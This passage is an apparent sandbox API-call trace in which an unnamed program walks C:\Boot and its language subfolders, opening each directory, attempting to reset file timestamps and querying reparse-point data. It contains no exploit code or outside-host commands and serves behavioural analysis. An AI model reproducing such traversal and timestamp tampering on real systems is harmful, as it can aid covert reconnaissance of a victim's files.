ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0138.781] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0138.781] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.781] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.782] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.782] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.782] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0138.782] GetLastError () returned 0x12 [0138.782] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f704, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f704) returned 0x839020 [0138.782] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0138.782] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0138.783] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.783] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.783] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0138.784] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.784] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.784] NtClose (Handle=0x194) returned 0x0 [0138.784] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.784] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.784] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.784] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.785] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.785] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.785] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.785] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.785] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.785] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x983e60 [0138.785] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0138.786] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.786] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.786] GetLastError () returned 0x12 [0138.786] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x839060 [0138.786] FindClose (in: hFindFile=0x81fcd8 | out: hFindFile=0x81fcd8) returned 1 [0138.786] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.786] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.786] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0138.786] GetLastError () returned 0x12 [0138.786] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ea60) returned 1 [0138.786] FindClose (in: hFindFile=0x839060 | out: hFindFile=0x839060) returned 1 [0138.786] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9eae8) returned 1 [0138.786] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.786] FindNextFileW (in: hFindFile=0x839020, lpFindFileData=0x1a7f704 | out: lpFindFileData=0x1a7f704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0138.786] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.786] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x1a7f600 | out: lpFileInformation=0x1a7f600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.786] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0138.787] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f644, lpLastWriteTime=0x1a7f644) returned 0 [0138.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0138.787] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f69c, lpOverlapped=0x0) returned 0 [0138.787] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0138.787] NtClose (Handle=0x15c) returned 0x0 [0138.787] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9ee18) returned 1 [0138.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ee18 [0138.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9eae8 [0138.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9ea60 [0138.787] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f44c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f44c) returned 0x81fcd8 [0138.787] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.787] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0138.787] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.787] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e9d8) returned 1 [0138.788] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e9d8 [0138.788] 